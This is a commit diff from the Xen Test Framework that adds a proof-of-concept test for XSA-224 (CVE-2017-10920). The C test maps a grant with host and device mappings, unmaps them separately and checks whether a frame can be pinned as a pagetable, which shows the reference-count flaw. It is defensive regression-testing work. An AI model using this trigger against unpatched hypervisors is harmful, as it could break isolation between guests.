]> xenbits.xensource.com Git - people/andrewcoop/xen-test-framework.git/commitdiff
XSA-224 PoC
authorAndrew Cooper <andrew.cooper3@citrix.com>
Mon, 19 Jun 2017 13:55:21 +0000 (14:55 +0100)
committerAndrew Cooper <andrew.cooper3@citrix.com>
Wed, 9 Aug 2017 15:37:25 +0000 (16:37 +0100)
Signed-off-by: Andrew Cooper <andrew.cooper3@citrix.com>
arch/x86/include/arch/mm.h
docs/all-tests.dox
include/xen/grant_table.h
tests/xsa-224/Makefile [new file with mode: 0644]
tests/xsa-224/main.c [new file with mode: 0644]

index a17183ef098a2b1e3f4a46b3c1d672ff786c7fd2..c7de84b54bbaa443b2f106c2fd16f39da3cca9c6 100644 (file)
@@ -70,6 +70,11 @@ static inline unsigned long virt_to_mfn(const void *va)
     return pfn_to_mfn(virt_to_pfn(va));
 }
 
+static inline uint64_t virt_to_maddr(const void *va)
+{
+    return ((uint64_t)virt_to_mfn(va) << PAGE_SHIFT) + (_u(va) & ~PAGE_MASK);
+}
+
 #undef m2p
 
 #else /* CONFIG_PV */
@@ -79,6 +84,7 @@ extern void *mfn_to_virt(unsigned long mfn);
 extern void *maddr_to_virt(uint64_t maddr);
 extern unsigned long pfn_to_mfn(unsigned long pfn);
 extern unsigned long virt_to_mfn(const void *va);
+extern uint64_t virt_to_maddr(const void *va);
 
 #endif /* CONFIG_PV */
 
index 01a7a572f472450fa1b963d4334aaca7436d5c3f..c1b163a926cbc38d147ba9615f5f7a7cf73297fb 100644 (file)
@@ -96,6 +96,8 @@ guest breakout.
 
 @subpage test-xsa-221 - NULL pointer deref in event channel poll.
 
+@subpage test-xsa-224 - grant table operations mishandle reference counts.
+
 
 @section index-utility Utilities
 
index 8c40903c1f039ec07a7535115ebd42eb287bfdb4..d68f265a219803485245fa76187154a310cbdcb3 100644 (file)
@@ -171,6 +171,92 @@ typedef union {
     uint32_t __spacer[4]; /* Pad to a power of two */
 } grant_entry_v2_t;
 
+/* Map the grant entry for access by I/O devices. */
+#define _GNTMAP_device_map      0
+#define GNTMAP_device_map       (1 << _GNTMAP_device_map)
+/* Map the grant entry for access by host CPUs. */
+#define _GNTMAP_host_map        1
+#define GNTMAP_host_map         (1 << _GNTMAP_host_map)
+/* Accesses to the granted frame will be restricted to read-only access. */
+#define _GNTMAP_readonly        2
+#define GNTMAP_readonly         (1 << _GNTMAP_readonly)
+/*
+ * GNTMAP_host_map subflag:
+ *  0 => The host mapping is usable only by the guest OS.
+ *  1 => The host mapping is usable by guest OS + current application.
+ */
+#define _GNTMAP_application_map 3
+#define GNTMAP_application_map  (1 << _GNTMAP_application_map)
+
+/*
+ * GNTMAP_contains_pte subflag:
+ *  0 => This map request contains a host virtual address.
+ *  1 => This map request contains the machine addess of the PTE to update.
+ */
+#define _GNTMAP_contains_pte    4
+#define GNTMAP_contains_pte     (1 << _GNTMAP_contains_pte)
+
+#define _GNTMAP_can_fail        5
+#define GNTMAP_can_fail         (1 << _GNTMAP_can_fail)
+
+/*
+ * Bits to be placed in guest kernel available PTE bits (architecture
+ * dependent; only supported when XENFEAT_gnttab_map_avail_bits is set).
+ */
+#define _GNTMAP_guest_avail0    16
+#define GNTMAP_guest_avail_mask ((uint32_t)~0 << _GNTMAP_guest_avail0)
+
+/*
+ * GNTTABOP_map_grant_ref: Map the grant entry (<dom>,<ref>) for access
+ * by devices and/or host CPUs. If successful, <handle> is a tracking number
+ * that must be presented later to destroy the mapping(s). On error, <status>
+ * is a negative status code.
+ * NOTES:
+ *  1. If GNTMAP_device_map is specified then <dev_bus_addr> is the address
+ *     via which I/O devices may access the granted frame.
+ *  2. If GNTMAP_host_map is specified then a mapping will be added at
+ *     either a host virtual address in the current address space, or at
+ *     a PTE at the specified machine address.  The type of mapping to
+ *     perform is selected through the GNTMAP_contains_pte flag, and the
+ *     address is specified in <host_addr>.
+ *  3. Mappings should only be destroyed via GNTTABOP_unmap_grant_ref. If a
+ *     host mapping is destroyed by other means then it is *NOT* guaranteed
+ *     to be accounted to the correct grant reference!
+ */
+#define GNTTABOP_map_grant_ref        0
+struct gnttab_map_grant_ref {
+    /* IN parameters. */
+    uint64_t host_addr;
+    uint32_t flags;               /* GNTMAP_* */
+    grant_ref_t ref;
+    domid_t  dom;
+    /* OUT parameters. */
+    int16_t  status;              /* => enum grant_status */
+    grant_handle_t handle;
+    uint64_t dev_bus_addr;
+};
+
+/*
+ * GNTTABOP_unmap_grant_ref: Destroy one or more grant-reference mappings
+ * tracked by <handle>. If <host_addr> or <dev_bus_addr> is zero, that
+ * field is ignored. If non-zero, they must refer to a device/host mapping
+ * that is tracked by <handle>
+ * NOTES:
+ *  1. The call may fail in an undefined manner if either mapping is not
+ *     tracked by <handle>.
+ *  3. After executing a batch of unmaps, it is guaranteed that no stale
+ *     mappings will remain in the device or host TLBs.
+ */
+#define GNTTABOP_unmap_grant_ref      1
+struct gnttab_unmap_grant_ref {
+    /* IN parameters. */
+    uint64_t host_addr;
+    uint64_t dev_bus_addr;
+    grant_handle_t handle;
+    /* OUT parameters. */
+    int16_t  status;              /* => enum grant_status */
+};
+
 /*
  * GNTTABOP_setup_table: Set up a grant table for <dom> comprising at least
  * <nr_frames> pages. The frame addresses are written to the <frame_list>.
diff --git a/tests/xsa-224/Makefile b/tests/xsa-224/Makefile
new file mode 100644 (file)
index 0000000..fb88729
--- /dev/null
@@ -0,0 +1,9 @@
+include $(ROOT)/build/common.mk
+
+NAME      := xsa-224
+CATEGORY  := xsa
+TEST-ENVS := pv64
+
+obj-perenv += main.o
+
+include $(ROOT)/build/gen.mk
diff --git a/tests/xsa-224/main.c b/tests/xsa-224/main.c
new file mode 100644 (file)
index 0000000..d05def7
--- /dev/null
@@ -0,0 +1,121 @@
+/**
+ * @file tests/xsa-224/main.c
+ * @ref test-xsa-224
+ *
+ * @page test-xsa-224 XSA-224
+ *
+ * Advisory: [XSA-224](http://xenbits.xen.org/xsa/advisory-224.html)
+ *
+ * XSA-224 has multiple CVEs assigned.  This testcase exercises CVE-2017-10920
+ * specifically.
+ *
+ * When a grant is mapped with both host and device mappings as being
+ * writeable, and unmapped with two separate unmap hypercalls, one too many
+ * references are dropped.  This causes Xen to loose track of one writeable
+ * mapping.
+ *
+ * @see tests/xsa-224/main.c
+ */
+#include <xtf.h>
+
+#include <arch/pagetable.h>
+
+const char test_title[] = "XSA-224 PoC";
+
+static uint8_t frame[PAGE_SIZE] __page_aligned_bss;
+
+void test_main(void)
+{
+    int rc = xtf_init_grant_table(1);
+
+    if ( rc )
+        return xtf_error("Error initialising grant table: %d\n", rc);
+
+    int domid = xtf_get_domid();
+
+    if ( domid < 0 )
+        return xtf_error("Error getting domid\n");
+
+    /*
+     * Construct gref 8 to allow frame[] to be mapped by outselves.
+     */
+    gnttab_v1[8].domid = domid;
+    gnttab_v1[8].frame = virt_to_gfn(frame);
+    smp_wmb();
+    gnttab_v1[8].flags = GTF_permit_access;
+
+    struct gnttab_map_grant_ref map = {
+        .host_addr = KB(4),
+        .flags = GNTMAP_host_map | GNTMAP_device_map,
+        .ref = 8,
+        .dom = domid,
+        .dev_bus_addr = KB(4),
+    };
+
+    /*
+     * Map frame[] to ourselves with both host and device mappings.
+     */
+    rc = hypercall_grant_table_op(GNTTABOP_map_grant_ref, &map, 1);
+    if ( rc || map.status )
+        return xtf_error("Error: Unable to map grant[8]: %d/%d\n",
+                         rc, map.status);
+
+    struct gnttab_unmap_grant_ref unmap = {
+        .host_addr = KB(4),
+        .handle = map.handle,
+    };
+
+    /*
+     * Unmap the host mapping of frame[] in isolation.
+     */
+    rc = hypercall_grant_table_op(GNTTABOP_unmap_grant_ref, &unmap, 1);
+    if ( rc || unmap.status )
+        return xtf_error("Error: Unable to host unmap grant[8]: %d/%d\n",
+                         rc, unmap.status);
+
+    /*
+     * Unmap the device mapping of frame[] in isolation.
+     */
+    unmap.host_addr = 0;
+    unmap.dev_bus_addr = virt_to_maddr(frame);
+
+    rc = hypercall_grant_table_op(GNTTABOP_unmap_grant_ref, &unmap, 1);
+    if ( rc || unmap.status )
+        return xtf_error("Error: Unable to bus unmap grant[8]: %d/%d\n",
+                         rc, unmap.status);
+
+    /*
+     * At this point, if Xen is vulnerable to XSA-224, it will have dropped
+     * one too many writeable refs from frame[].  Check, by trying to pin it
+     * as a pagetable.
+     */
+    mmuext_op_t op =
+    {
+        .cmd = MMUEXT_PIN_L1_TABLE,
+        .arg1.mfn = virt_to_mfn(frame),
+    };
+
+    rc = hypercall_mmuext_op(&op, 1, NULL, DOMID_SELF);
+
+    switch ( rc )
+    {
+    case 0:
+        return xtf_failure("Fail: Vulnerable to XSA-224\n");
+
+    case -EINVAL:
+        return xtf_success("Success: Not vulnerable to XSA-224\n");
+
+    default:
+        return xtf_error("Unexpected MMUEXT_PIN_L1_TABLE rc %d\n", rc);
+    }
+}
+
+/*
+ * Local variables:
+ * mode: C
+ * c-file-style: "BSD"
+ * c-basic-offset: 4
+ * tab-width: 4
+ * indent-tabs-mode: nil
+ * End:
+ */